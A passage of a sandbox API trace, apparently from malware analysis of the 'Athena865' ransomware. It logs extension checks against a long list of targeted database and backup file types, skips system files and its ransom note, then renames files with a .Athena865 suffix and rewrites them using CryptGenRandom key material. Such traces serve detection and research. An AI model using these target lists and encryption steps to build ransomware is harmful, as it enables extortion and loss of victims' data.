lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1 [0109.201] lstrlenW (lpString="gwi") returned 3 [0109.201] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1 [0109.201] lstrlenW (lpString="hdb") returned 3 [0109.201] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1 [0109.201] lstrlenW (lpString="his") returned 3 [0109.201] lstrcmpiW (lpString1="dat", lpString2="his") returned -1 [0109.201] lstrlenW (lpString="ib") returned 2 [0109.201] lstrcmpiW (lpString1="at", lpString2="ib") returned -1 [0109.201] lstrlenW (lpString="idb") returned 3 [0109.201] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1 [0109.201] lstrlenW (lpString="ihx") returned 3 [0109.201] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1 [0109.201] lstrlenW (lpString="itdb") returned 4 [0109.201] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1 [0109.201] lstrlenW (lpString="itw") returned 3 [0109.201] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1 [0109.201] lstrlenW (lpString="jet") returned 3 [0109.201] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1 [0109.201] lstrlenW (lpString="jtx") returned 3 [0109.201] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1 [0109.201] lstrlenW (lpString="kdb") returned 3 [0109.201] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1 [0109.201] lstrlenW (lpString="kexi") returned 4 [0109.201] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1 [0109.202] lstrlenW (lpString="kexic") returned 5 [0109.202] lstrcmpiW (lpString1="m.dat", lpString2="kexic") returned 1 [0109.202] lstrlenW (lpString="kexis") returned 5 [0109.202] lstrcmpiW (lpString1="m.dat", lpString2="kexis") returned 1 [0109.202] lstrlenW (lpString="lgc") returned 3 [0109.202] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1 [0109.202] lstrlenW (lpString="lwx") returned 3 [0109.202] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1 [0109.202] lstrlenW (lpString="maf") returned 3 [0109.202] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1 [0109.205] lstrlenW (lpString="maq") returned 3 [0109.208] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1 [0109.208] lstrlenW (lpString="mar") returned 3 [0109.208] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1 [0109.208] lstrlenW (lpString="marshal") returned 7 [0109.208] lstrcmpiW (lpString1="alm.dat", lpString2="marshal") returned -1 [0109.208] lstrlenW (lpString="mas") returned 3 [0109.208] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1 [0109.208] lstrlenW (lpString="mav") returned 3 [0109.208] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1 [0109.209] lstrlenW (lpString="maw") returned 3 [0109.209] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1 [0109.209] lstrlenW (lpString="mdbhtml") returned 7 [0109.209] lstrcmpiW (lpString1="alm.dat", lpString2="mdbhtml") returned -1 [0109.209] lstrlenW (lpString="mdn") returned 3 [0109.209] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1 [0109.209] lstrlenW (lpString="mdt") returned 3 [0109.209] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1 [0109.209] lstrlenW (lpString="mfd") returned 3 [0109.209] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1 [0109.209] lstrlenW (lpString="mpd") returned 3 [0109.209] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1 [0109.209] lstrlenW (lpString="mrg") returned 3 [0109.209] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1 [0109.209] lstrlenW (lpString="mud") returned 3 [0109.209] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1 [0109.209] lstrlenW (lpString="mwb") returned 3 [0109.209] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1 [0109.209] lstrlenW (lpString="myd") returned 3 [0109.209] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1 [0109.209] lstrlenW (lpString="ndf") returned 3 [0109.209] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1 [0109.209] lstrlenW (lpString="nnt") returned 3 [0109.209] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1 [0109.209] lstrlenW (lpString="nrmlib") returned 6 [0109.209] lstrcmpiW (lpString1="lm.dat", lpString2="nrmlib") returned -1 [0109.209] lstrlenW (lpString="ns2") returned 3 [0109.209] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1 [0109.209] lstrlenW (lpString="ns3") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1 [0109.210] lstrlenW (lpString="ns4") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1 [0109.210] lstrlenW (lpString="nsf") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1 [0109.210] lstrlenW (lpString="nv") returned 2 [0109.210] lstrcmpiW (lpString1="at", lpString2="nv") returned -1 [0109.210] lstrlenW (lpString="nv2") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1 [0109.210] lstrlenW (lpString="nwdb") returned 4 [0109.210] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1 [0109.210] lstrlenW (lpString="nyf") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1 [0109.210] lstrlenW (lpString="odb") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0109.210] lstrlenW (lpString="odb") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0109.210] lstrlenW (lpString="oqy") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1 [0109.210] lstrlenW (lpString="ora") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1 [0109.210] lstrlenW (lpString="orx") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1 [0109.210] lstrlenW (lpString="owc") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1 [0109.210] lstrlenW (lpString="p96") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1 [0109.210] lstrlenW (lpString="p97") returned 3 [0109.210] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1 [0109.210] lstrlenW (lpString="pan") returned 3 [0109.211] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1 [0109.211] lstrlenW (lpString="pdb") returned 3 [0109.211] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1 [0109.211] lstrlenW (lpString="pdm") returned 3 [0109.211] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1 [0109.211] lstrlenW (lpString="pnz") returned 3 [0109.211] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1 [0109.211] lstrlenW (lpString="qry") returned 3 [0109.211] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1 [0109.211] lstrlenW (lpString="qvd") returned 3 [0109.211] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1 [0109.211] lstrlenW (lpString="rbf") returned 3 [0109.211] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1 [0109.211] lstrlenW (lpString="rctd") returned 4 [0109.211] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1 [0109.211] lstrlenW (lpString="rod") returned 3 [0109.211] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1 [0109.211] lstrlenW (lpString="rodx") returned 4 [0109.211] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1 [0109.211] lstrlenW (lpString="rpd") returned 3 [0109.211] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1 [0109.211] lstrlenW (lpString="rsd") returned 3 [0109.211] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1 [0109.211] lstrlenW (lpString="sas7bdat") returned 8 [0109.211] lstrcmpiW (lpString1="salm.dat", lpString2="sas7bdat") returned -1 [0109.211] lstrlenW (lpString="sbf") returned 3 [0109.211] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1 [0109.211] lstrlenW (lpString="scx") returned 3 [0109.211] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1 [0109.212] lstrlenW (lpString="sdb") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1 [0109.212] lstrlenW (lpString="sdc") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1 [0109.212] lstrlenW (lpString="sdf") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1 [0109.212] lstrlenW (lpString="sis") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1 [0109.212] lstrlenW (lpString="spq") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1 [0109.212] lstrlenW (lpString="te") returned 2 [0109.212] lstrcmpiW (lpString1="at", lpString2="te") returned -1 [0109.212] lstrlenW (lpString="teacher") returned 7 [0109.212] lstrcmpiW (lpString1="alm.dat", lpString2="teacher") returned -1 [0109.212] lstrlenW (lpString="tmd") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1 [0109.212] lstrlenW (lpString="tps") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1 [0109.212] lstrlenW (lpString="trc") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0109.212] lstrlenW (lpString="trc") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0109.212] lstrlenW (lpString="trm") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1 [0109.212] lstrlenW (lpString="udb") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1 [0109.212] lstrlenW (lpString="udl") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1 [0109.212] lstrlenW (lpString="usr") returned 3 [0109.212] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1 [0109.213] lstrlenW (lpString="v12") returned 3 [0109.213] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1 [0109.213] lstrlenW (lpString="vis") returned 3 [0109.213] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1 [0109.213] lstrlenW (lpString="vpd") returned 3 [0109.213] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1 [0109.213] lstrlenW (lpString="vvv") returned 3 [0109.213] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1 [0109.213] lstrlenW (lpString="wdb") returned 3 [0109.213] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1 [0109.213] lstrlenW (lpString="wmdb") returned 4 [0109.213] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1 [0109.213] lstrlenW (lpString="wrk") returned 3 [0109.213] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1 [0109.213] lstrlenW (lpString="xdb") returned 3 [0109.213] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1 [0109.213] lstrlenW (lpString="xld") returned 3 [0109.213] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1 [0109.213] lstrlenW (lpString="xmlff") returned 5 [0109.213] lstrcmpiW (lpString1="m.dat", lpString2="xmlff") returned -1 [0109.213] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.Athena865") returned 73 [0109.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.athena865"), dwFlags=0x1) returned 1 [0109.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0109.215] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3195696) returned 1 [0109.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0109.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0109.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0109.216] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0109.216] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0109.216] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.216] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30c630, lpName=0x0) returned 0x17c [0109.230] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x10c630) returned 0x2d50000 [0109.283] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0109.366] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0109.383] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0109.384] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0109.384] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0109.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0109.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0109.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0109.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0109.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0109.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0109.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0109.385] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0109.425] CloseHandle (hObject=0x17c) returned 1 [0109.425] CloseHandle (hObject=0x154) returned 1 [0109.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0109.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0109.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0109.434] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2=".") returned 1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2="..") returned 1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2="windows") returned -1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2="bootmgr") returned 1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2="temp") returned -1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2="pagefile.sys") returned -1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2="boot") returned 1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2="ids.txt") returned -1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2="ntuser.dat") returned -1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2="perflogs") returned -1 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2="MSBuild") returned -1 [0109.434] lstrlenW (lpString="hwrusash.dat") returned 12 [0109.434] lstrcpyW (in: lpString1=0x241e8ae, lpString2="hwrusash.dat" | out: lpString1="hwrusash.dat") returned="hwrusash.dat" [0109.434] lstrlenW (lpString="hwrusash.dat") returned 12 [0109.434] lstrlenW (lpString="Athena865") returned 9 [0109.434] lstrcmpiW (lpString1="usash.dat", lpString2="Athena865") returned 1 [0109.434] lstrlenW (lpString=".dll") returned 4 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2=".dll") returned 1 [0109.434] lstrlenW (lpString=".lnk") returned 4 [0109.434] lstrcmpiW (lpString1="hwrusash.dat", lpString2=".lnk") returned 1 [0109.434] lstrlenW (lpString=".ini") returned 4 [0109.435] lstrcmpiW (lpString1="hwrusash.dat", lpString2=".ini") returned 1 [0109.435] lstrlenW (lpString=".sys") returned 4 [0109.435] lstrcmpiW (lpString1="hwrusash.dat", lpString2=".sys") returned 1 [0109.435] lstrlenW (lpString="hwrusash.dat") returned 12 [0109.435] lstrlenW (lpString="bak") returned 3 [0109.435] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1 [0109.435] lstrlenW (lpString="ba_") returned 3 [0109.435] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1 [0109.435] lstrlenW (lpString="dbb") returned 3 [0109.435] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1 [0109.435] lstrlenW (lpString="vmdk") returned 4 [0109.435] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1 [0109.435] lstrlenW (lpString="rar") returned 3 [0109.435] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1 [0109.435] lstrlenW (lpString="zip") returned 3 [0109.435] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1 [0109.435] lstrlenW (lpString="tgz") returned 3 [0109.435] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1 [0109.435] lstrlenW (lpString="vbox") returned 4 [0109.435] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1 [0109.435] lstrlenW (lpString="vdi") returned 3 [0109.435] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1 [0109.435] lstrlenW (lpString="vhd") returned 3 [0109.435] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1 [0109.435] lstrlenW (lpString="vhdx") returned 4 [0109.435] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1 [0109.435] lstrlenW (lpString="avhd") returned 4 [0109.435] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1 [0109.435] lstrlenW (lpString="db") returned 2 [0109.435] lstrcmpiW (lpString1="at", lpString2="db") returned -1 [0109.436] lstrlenW (lpString="db2") returned 3 [0109.436] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1 [0109.436] lstrlenW (lpString="db3") returned 3 [0109.436] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1 [0109.436] lstrlenW (lpString="dbf") returned 3 [0109.436] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1 [0109.436] lstrlenW (lpString="mdf") returned 3 [0109.436] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1 [0109.436] lstrlenW (lpString="mdb") returned 3 [0109.436] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1 [0109.436] lstrlenW (lpString="sql") returned 3 [0109.436] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1 [0109.436] lstrlenW (lpString="sqlite") returned 6 [0109.436] lstrcmpiW (lpString1="sh.dat", lpString2="sqlite") returned -1 [0109.436] lstrlenW (lpString="sqlite3") returned 7 [0109.436] lstrcmpiW (lpString1="ash.dat", lpString2="sqlite3") returned -1 [0109.436] lstrlenW (lpString="sqlitedb") returned 8 [0109.436] lstrcmpiW (lpString1="sash.dat", lpString2="sqlitedb") returned -1 [0109.436] lstrlenW (lpString="xml") returned 3 [0109.436] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1 [0109.436] lstrlenW (lpString="$er") returned 3 [0109.436] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1 [0109.436] lstrlenW (lpString="4dd") returned 3 [0109.436] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1 [0109.436] lstrlenW (lpString="4dl") returned 3 [0109.436] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1 [0109.437] lstrlenW (lpString="^^^") returned 3 [0109.437] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1 [0109.437] lstrlenW (lpString="abs") returned 3 [0109.437] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1 [0109.437] lstrlenW (lpString="abx") returned 3 [0109.437] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1 [0109.437] lstrlenW (lpString="accdb") returned 5 [0109.437] lstrcmpiW (lpString1="h.dat", lpString2="accdb") returned 1 [0109.437] lstrlenW (lpString="accdc") returned 5 [0109.437] lstrcmpiW (lpString1="h.dat", lpString2="accdc") returned 1 [0109.437] lstrlenW (lpString="accde") returned 5 [0109.437] lstrcmpiW (lpString1="h.dat", lpString2="accde") returned 1 [0109.437] lstrlenW (lpString="accdr") returned 5 [0109.437] lstrcmpiW (lpString1="h.dat", lpString2="accdr") returned 1 [0109.437] lstrlenW (lpString="accdt") returned 5 [0109.437] lstrcmpiW (lpString1="h.dat", lpString2="accdt") returned 1 [0109.437] lstrlenW (lpString="accdw") returned 5 [0109.437] lstrcmpiW (lpString1="h.dat", lpString2="accdw") returned 1 [0109.437] lstrlenW (lpString="accft") returned 5 [0109.437] lstrcmpiW (lpString1="h.dat", lpString2="accft") returned 1 [0109.437] lstrlenW (lpString="adb") returned 3 [0109.437] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0109.437] lstrlenW (lpString="adb") returned 3 [0109.437] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0109.437] lstrlenW (lpString="ade") returned 3 [0109.437] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1 [0109.437] lstrlenW (lpString="adf") returned 3 [0109.437] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1 [0109.437] lstrlenW (lpString="adn") returned 3 [0109.437] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1 [0109.438] lstrlenW (lpString="adp") returned 3 [0109.438] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1 [0109.438] lstrlenW (lpString="alf") returned 3 [0109.438] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1 [0109.438] lstrlenW (lpString="ask") returned 3 [0109.438] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1 [0109.438] lstrlenW (lpString="btr") returned 3 [0109.438] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1 [0109.438] lstrlenW (lpString="cat") returned 3 [0109.438] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1 [0109.438] lstrlenW (lpString="cdb") returned 3 [0109.438] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1 [0109.438] lstrlenW (lpString="ckp") returned 3 [0109.438] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1 [0109.438] lstrlenW (lpString="cma") returned 3 [0109.438] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1 [0109.438] lstrlenW (lpString="cpd") returned 3 [0109.438] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1 [0109.438] lstrlenW (lpString="dacpac") returned 6 [0109.438] lstrcmpiW (lpString1="sh.dat", lpString2="dacpac") returned 1 [0109.438] lstrlenW (lpString="dad") returned 3 [0109.438] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1 [0109.438] lstrlenW (lpString="dadiagrams") returned 10 [0109.438] lstrcmpiW (lpString1="rusash.dat", lpString2="dadiagrams") returned 1 [0109.438] lstrlenW (lpString="daschema") returned 8 [0109.438] lstrcmpiW (lpString1="sash.dat", lpString2="daschema") returned 1 [0109.438] lstrlenW (lpString="db-journal") returned 10 [0109.438] lstrcmpiW (lpString1="rusash.dat", lpString2="db-journal") returned 1 [0109.438] lstrlenW (lpString="db-shm") returned 6 [0109.438] lstrcmpiW (lpString1="sh.dat", lpString2="db-shm") returned 1 [0109.438] lstrlenW (lpString="db-wal") returned 6 [0109.439] lstrcmpiW (lpString1="sh.dat", lpString2="db-wal") returned 1 [0109.439] lstrlenW (lpString="dbc") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1 [0109.439] lstrlenW (lpString="dbs") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1 [0109.439] lstrlenW (lpString="dbt") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1 [0109.439] lstrlenW (lpString="dbv") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1 [0109.439] lstrlenW (lpString="dbx") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1 [0109.439] lstrlenW (lpString="dcb") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1 [0109.439] lstrlenW (lpString="dct") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1 [0109.439] lstrlenW (lpString="dcx") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1 [0109.439] lstrlenW (lpString="ddl") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1 [0109.439] lstrlenW (lpString="dlis") returned 4 [0109.439] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1 [0109.439] lstrlenW (lpString="dp1") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1 [0109.439] lstrlenW (lpString="dqy") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1 [0109.439] lstrlenW (lpString="dsk") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1 [0109.439] lstrlenW (lpString="dsn") returned 3 [0109.439] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1 [0109.439] lstrlenW (lpString="dtsx") returned 4 [0109.439] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1 [0109.440] lstrlenW (lpString="dxl") returned 3 [0109.440] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1 [0109.440] lstrlenW (lpString="eco") returned 3 [0109.440] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1 [0109.440] lstrlenW (lpString="ecx") returned 3 [0109.440] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1 [0109.440] lstrlenW (lpString="edb") returned 3 [0109.440] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1 [0109.440] lstrlenW (lpString="epim") returned 4 [0109.440] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1 [0109.440] lstrlenW (lpString="fcd") returned 3 [0109.440] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1 [0109.440] lstrlenW (lpString="fdb") returned 3 [0109.440] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1 [0109.440] lstrlenW (lpString="fic") returned 3 [0109.440] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1 [0109.440] lstrlenW (lpString="flexolibrary") returned 12 [0109.440] lstrlenW (lpString="fm5") returned 3 [0109.440] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1 [0109.440] lstrlenW (lpString="fmp") returned 3 [0109.440] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1 [0109.440] lstrlenW (lpString="fmp12") returned 5 [0109.440] lstrcmpiW (lpString1="h.dat", lpString2="fmp12") returned 1 [0109.440] lstrlenW (lpString="fmpsl") returned 5 [0109.440] lstrcmpiW (lpString1="h.dat", lpString2="fmpsl") returned 1 [0109.440] lstrlenW (lpString="fol") returned 3 [0109.440] lstrcmpiW (lpString1="dat", 